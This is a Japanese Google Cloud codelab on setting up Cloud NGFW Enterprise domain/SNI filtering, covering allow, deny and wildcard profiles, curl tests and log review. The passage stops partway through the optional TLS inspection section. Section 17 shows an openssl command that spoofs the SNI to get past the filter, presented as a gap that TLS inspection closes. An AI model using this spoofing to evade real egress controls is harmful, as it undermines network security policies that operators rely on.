Cloud NGFW Enterprise ドメイン/SNI フィルタリング Codelab [TLS インスペクションは省略可]

1. はじめに

Cloud Next Generation Firewall(NGFW)

Cloud Next Generation Firewall は、高度な保護機能、マイクロセグメンテーション、内部および外部の攻撃から Google Cloud ワークロードを広範囲に保護する機能を備えた、完全分散型のファイアウォール サービスです。

Cloud NGFW には次の利点があります。

  • 分散ファイアウォール サービス: Cloud NGFW では、各ワークロードに完全に分散されたステートフルなホストベースの適用が可能で、ゼロトラスト セキュリティ アーキテクチャを実現できます。
  • 構成とデプロイの簡素化: Cloud NGFW は、リソース階層ノードに接続できるネットワークと階層型ファイアウォール ポリシーを実装します。これらのポリシーにより、Google Cloud リソース階層全体で一貫性のあるファイアウォール エクスペリエンスが提供されます。
  • きめ細かい制御とマイクロセグメンテーション: ファイアウォール ポリシーと Identity and Access Management(IAM)によって管理されるタグを組み合わせて、Virtual Private Cloud(VPC)ネットワークと組織全体で、North-South トラフィックと East-West トラフィックの両方を 1 つの VM に至るまできめ細かく制御できます。

Cloud NGFW は次の階層で使用できます。

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Standard FQDN オブジェクトは、完全修飾ドメイン名(FQDN)を IP アドレスに変換し、IP アドレスのリストに対してルールを適用できます。ただし、ドメイン フィルタリングを備えた Cloud NGFW Enterprise を使用すると、検査をさらに進めることができます。

Cloud NGFW Enterprise

Cloud NGFW Enterprise は現在、分散型の Google Cloud Firewall ファブリックにレイヤ 7 機能である侵入防止サービス(IPS)を提供しています。

Cloud NGFW Enterprise にドメイン フィルタリングが追加されました。これにより、IP アドレスに依存するのではなく、ドメイン名を使用して http(s) トラフィックを制御できます。

https トラフィックのドメイン/SNI フィルタリングの場合、TLS handshake の一部として、Client Hello は Server Name Indication(SNI)を含む拡張機能です。SNI は、クライアントがアクセスしようとしているホスト名を送信する TLS プロトコルの拡張機能です。ここでフィルタリングが検証されます。

HTTP トラフィックには SNI がないため、HTTP Host ヘッダー フィールドのみがフィルタリングの適用に使用されます。

ドメイン フィルタリングは、新しいタイプの セキュリティ プロファイルである UrlFilteringProfile で構成されます。UrlFilteringProfile には UrlFilter のリストが含まれます。各 UrlFilter には、アクション、マッチャー文字列のリスト、一意の優先度が含まれます。この構成では、将来新しいタイプのセキュリティ プロファイルを作成するのではなく、完全な URL フィルタリングが利用可能になったときに簡単に移行できるように、「ドメイン」ではなく「URL」が命名に使用されています。

UrlFilteringProfiles には、優先度が最も低い(2147483647)暗黙的な UrlFilter が含まれています。この UrlFilter は、優先度の高い UrlFilter に一致しないすべての接続を拒否します。

作成するアプリの概要

この Codelab では、単一のプロジェクトと、VPC ネットワークを作成し、多数のネットワーク リソースとセキュリティ リソースを管理する機能が必要です。このチュートリアルでは、Cloud NGFW Enterprise でドメインと SNI のフィルタリングを行う方法について説明します。TLS インスペクションのオプションの手順も示します。

ワイルドカードの使用など、許可ルールと拒否ルールの複数のシナリオをテストします。

4a779fae790d117.png

ネットワーク ファイアウォール ポリシー ルールベースの最終状態は、次の表のようになります。

優先度

方向

ターゲット

ソース

宛先

アクション

200

Ingress

すべて

IAP

すべて

許可

Essentials

300

Egress

すべて

すべて

0.0.0.0/0:80,443

L7 インスペクション

Enterprise

学習内容

  • ネットワーク ファイアウォール ポリシーを作成する方法。
  • Cloud NGFW Enterprise ドメイン/SNI フィルタリングの構成方法と使用方法。
  • ドメイン/SNI フィルタリングに加えて脅威防止を構成する方法。
  • ログの確認方法。
  • [省略可] TLS インスペクションを有効にする方法。

必要なもの

  • Google Cloud プロジェクト。
  • インスタンスのデプロイとネットワーク コンポーネントの構成に関する知識。
  • ネットワーク ポリシーのファイアウォール構成に関する知識。

2. 始める前に

変数を作成/更新する

この Codelab では、$variables を使用して、Cloud Shell での gcloud 構成の実装を支援します。

Cloud Shell で次のコマンドを実行します。必要に応じて、角かっこ内の情報を置き換えます。

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. API を有効にする

API が有効になっていない場合は、有効にします。

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise エンドポイントの作成

Cloud NGFW Enterprise エンドポイントの作成には約 20 分かかるため、最初に作成されます。エンドポイントの作成中に、基本設定を並行して行うことができます。

脅威防止プロファイルを使用する予定がない場合でも、ドメイン/SNI フィルタリングにはファイアウォール エンドポイントが必要です。

セキュリティ プロファイルとセキュリティ プロファイル グループを作成します。

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

次のコマンドを実行して、エンドポイントが作成中(CREATING)であることを確認します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

出力例(使用するクライアントによって出力形式が異なる場合があります)。

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

作成プロセスには約 20 分かかります。「基本設定」セクションに進み、必要なリソースを並行して作成します。

5. 基本設定

VPC ネットワークとサブネット

VPC ネットワークとサブネット

VPC ネットワークとサブネットを作成します。

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

外部 IP アドレス、Cloud Router、Cloud NAT ゲートウェイを作成します。

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

インスタンスの作成

クライアント インスタンスを作成します。

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone 

グローバル ネットワーク ファイアウォール ポリシー

グローバル ネットワーク ファイアウォール ポリシーを作成します。

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

Identity-Aware Proxy 範囲からのトラフィックを許可するために必要な Cloud Firewall Essential ルールを作成します。

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

クラウド ファイアウォール ポリシーを VPC ネットワークに関連付けます。

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. 許可用のドメイン/SNI フィルタリング構成を作成する

次に、許可または拒否するドメインを構成します。cloudshell から、yaml ファイルを作成します。

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

yaml 構成をインポートしてセキュリティ プロファイルを作成します。

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

予想される出力:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

セキュリティ プロファイル グループを作成します。

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

SPG にセキュリティ プロファイルが含まれていることを確認します。

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

予想される出力:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. Cloud Firewall エンドポイントの関連付け

まだ環境変数を定義していない場合や、スクリプト アプローチを優先する場合は、環境変数を定義します。

Cloud Firewall エンドポイントの作成が正常に完了したことを確認します。状態が [ACTIVE] と表示されたら(作成中は [CREATING] が想定される状態です)、次の手順に進みます。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

想定される出力(使用するクライアントによって出力形式が異なる場合があります)。

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Cloud Firewall エンドポイントを VPC ネットワークに関連付けます。

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

関連付けプロセスには約 10 分かかります。ステータスが ACTIVE(作成中は CREATING)と表示されたら、次のセクションに進みます。

gcloud network-security firewall-endpoint-associations list

complete の場合の予想される出力:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. ドメイン/SNI フィルタリングのファイアウォール ルールを作成する

Google には、暗黙の下り(外向き)許可ファイアウォール ルールがあります。ドメイン/SNI フィルタリングを適用する場合は、ルールを明示的に定義する必要があります。次のルールは、宛先ポート 80 と 443 の下り(外向き)トラフィックをセキュリティ プロファイルによる検査のために送信します。

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. 許可ルールを検証する

IAP を介して VM への SSH 接続を開始します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

許可された宛先にサンプル リクエストを送信します。

curl https://www.example.com --max-time 2

このリクエストは「許可」ファイアウォール ルールにより成功しています。

リストに含まれていないドメインをいくつか試してみましょう。

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

予想される出力:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

「example.com」が機能しなかったのはなぜですか?これは、セキュリティ プロファイル構成に「www.example.com」が明示的に指定されているためです。example.com のすべてのサブドメインを許可する場合は、ワイルドカードを使用できます。

他のリクエストも失敗しています。これは、セキュリティ プロファイル グループのデフォルトが拒否で優先度が最も低く、www.example.com のみが許可されているためです。

VM を終了して cloudshell に戻ります。

exit

10. ワイルドカードのドメイン/SNI フィルタリング構成を更新する

yaml ファイルを見て、ワイルドカードのサポートなどの追加機能を紹介するために、さらに更新してみましょう。.com で終わる任意のドメインに相当する「*.com」を許可するルールを作成します。注: これにより、前のセクションで作成した元の YAML ファイルの内容が完全に置き換えられます。

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

新しい YAML 構成でセキュリティ プロファイルを更新します。

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

セキュリティ プロファイル構成を検証します。

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

予想される出力:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. ワイルドカード ルールを検証する

ワイルドカード ルールが機能しているかどうかを確認しましょう。IAP を介して VM への SSH 接続を開始します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

許可された宛先にサンプル リクエストを送信します。

curl https://github.com --max-time 2
curl https://google.com --max-time 2

これらのリクエストはすべて成功しているはずです。有効な .com ドメインであれば、どれでもお試しいただけます。それでもうまくいかない場合は、10 分以上待ってからもう一度お試しください。

「.com」の複数のサブドメインを試すこともできます。すべて成功するはずです。

curl https://mail.google.com --max-time 2

VM を終了して cloudshell に戻ります。

exit

12. 拒否のドメイン/SNI フィルタリング構成を更新する

セキュリティ プロファイルの最後に * の暗黙的な DENY ルールがあり、filteringAction を「ALLOW」として使用して「許可」ドメインを作成したことを示しました。filteringAction を「DENY」として使用する方法について説明します。DENY アクションは、明示的な ALLOW の前に使用すると便利です。次に例を示します。

既存の yaml を更新して *.com を許可し、特定の .com ドメインを明示的に拒否します。

yaml ファイルを変更して、*.github.com と *.google.com を拒否し、他のすべての *.com を明示的に許可して、暗黙的なデフォルトの拒否を維持します。例外の優先度は、優先度の数値が小さいほど優先度が高くなるため、(1000 対 2000) と (1500 対 2000) のように設定する必要があります。

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

新しい YAML 構成でセキュリティ プロファイルを更新します。

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

セキュリティ プロファイル構成を検証します。

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. 拒否ルールを検証する

DENY ルールが機能しているかどうかを確認しましょう。IAP を介して VM への SSH 接続を開始します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

サンプル リクエストを拒否された宛先に送信します。

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

これらの 2 つのリクエストは、「DENY」ルールに一致するため、失敗するはずです。

いくつかの追加のリクエストを送信します。

curl https://github.com --max-time 2
curl https://google.com --max-time 2

なぜこれらの方法が有効だったのでしょうか?DENY ルールが「.github.com」と「.google.com」を対象としていたため、これらのルールは機能しました。github.com と google.com のリクエストには、github.com と google.com のサブドメインが参照されているため、ワイルドカードは含まれません。

.com ドメインへの他のリクエストは成功し、他のドメインはデフォルトで拒否されます。(.org、.net、.me など)

VM を終了して cloudshell に戻ります。

exit

14. デフォルトの許可のドメイン/SNI フィルタリング構成を更新する

明示的な拒否ルールを使用してデフォルトの許可動作を設定したい場合はどうすればよいでしょうか。この動作を示すように YAML を更新します。.com または .net ドメインに対して DENY ルールを構成し、他のすべてのドメインを許可します。

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

新しい YAML 構成でセキュリティ プロファイルを更新します。

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

セキュリティ プロファイル構成を検証します。

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

予想される出力:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

* の暗黙的な拒否は引き続き存在します。優先度が高い(値が小さい)デフォルト ルールが構成され、filteringAction が ALLOW に設定されているため、そのルールは無効になります。

(2000000000 vs 2147483647)

15. デフォルトの許可ルールで拒否ルールを検証する

デフォルトの ALLOW とともに DENY ルールが機能しているかどうかを確認しましょう。IAP を介して VM への SSH 接続を開始します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

サンプル リクエストを拒否された宛先に送信します。

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

これらの 2 つのリクエストは、「DENY」ルールに一致したため、失敗しているはずです。.com または .net のリクエストは失敗します。

成功するはずのリクエストを送信します(他のトップレベル ドメイン)。

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

これらのリクエストは、優先度 2000000000 の「デフォルト」の許可ルールに一致するため、成功します。

16. ドメイン/SNI フィルタリングのログを調べる

ドメイン/SNI フィルタリングのファイアウォール ルールによってトラフィックが検査されているかどうかを確認する方法について説明します。

Cloud コンソールで、ログ エクスプローラに移動し、次のフィルタを入力します。

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

上記のフィルタは、作成したファイアウォール ポリシー $prefix-fwpolicy と、ドメイン/SNI フィルタリング構成に関連付けられたセキュリティ プロファイル グループを持つルール優先度 300 を調べています。

91854cacaec44798.png

「disposition」が「INTERCEPTED」になっていることがわかります。これは、トラフィックがインターセプトされ、処理のためにファイアウォール エンジンに送信されたことを示します。

実際のドメイン/SNI フィルタリング ログを表示するには、ログ エクスプローラに次のフィルタを入力します($project_id は実際の project_id 値に置き換える必要があります)。

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

詳細を展開すると、次の詳細が表示されます(サニタイズされた例)。

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

上記のログの例は、wikipedia.org へのリクエストが許可されたことを示しています。これは、filterAction が ALLOW の「*」である優先度 2000000000 のルールに一致したためです。SNI など、その他の詳細情報もあります。

DENY のサンプルログを見てみましょう。

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

上記の例は、リクエストが拒否されたときに記録されたリクエストです。リクエストは www.php.net 宛てで、セキュリティ プロファイルのルール 1500 に一致しました。同様に、SNI と照合して決定を行いました。

17. SNI スプーフィングが存在する場合にルールを検証する

冒頭で説明したように、NGFW Enterprise は HTTP トラフィックの HTTP ホスト ヘッダーを調べたり、TLS 暗号化トラフィックの SNI を調べたりできます。個人が SNI をスプーフィングすることは可能です。その場合、どうなりますか?

動作を検証してみましょう。IAP を介して VM への SSH 接続を開始します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

次の openssl コマンドを実行して SNI をスプーフィングします。

openssl s_client -connect www.google.com:443 -servername ifconfig.me

上記の例では、.com ドメインと .net ドメインへのリクエストはブロックされ、他の TLD は許可されることが想定されています。以下に、スプーフィングされたレスポンスの例を示します。リクエストはブロックされるはずの www.google.com に送信されますが、www.google.com の SNI を送信する代わりに、ifconfig.me の SNI を指定しています。ポリシーは SNI に対してチェックを行うため、このドメインは「許可」されたドメインと見なされ、通過が許可されます。google.com への TLS 接続が正常に確立されました。

.

予想される出力:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

TLS インスペクションは、この穴を埋めるのに役立ちます。

接続を閉じて VM を終了します。

"ctrl" + c
exit

18. [省略可] TLS インスペクション

TLS リソースを構成する

このセクションは省略可能です。ドメイン/SNI フィルタリングは TLS インスペクションなしで機能するためです。ただし、脅威防止を使用する予定がある場合や、将来的に完全な URL フィルタリングが利用可能になったときにセキュリティ プロファイルでパスベースのルールを構築できるようにする場合は、TLS インスペクションが必要になることがあります。

また、TLS インスペクションでは、SNI スプーフィングの可能性を考慮して、追加のチェックレイヤが提供されます。

CA プールを作成します。このリソースは、NGFW Enterprise 用に生成するルート CA 証明書の格納に使用されます。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

ルート CA を作成します。これは、NGFW Enterprise を介したリクエストの追加の証明書の署名に使用される CA 証明書です。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

次のメッセージが表示されたら、「y」と答えます。

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

サービス アカウントを作成します。このサービス アカウントは、NGFW Enterprise の証明書をリクエストするために使用されます。

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

サービス アカウントの IAM 権限を設定します。

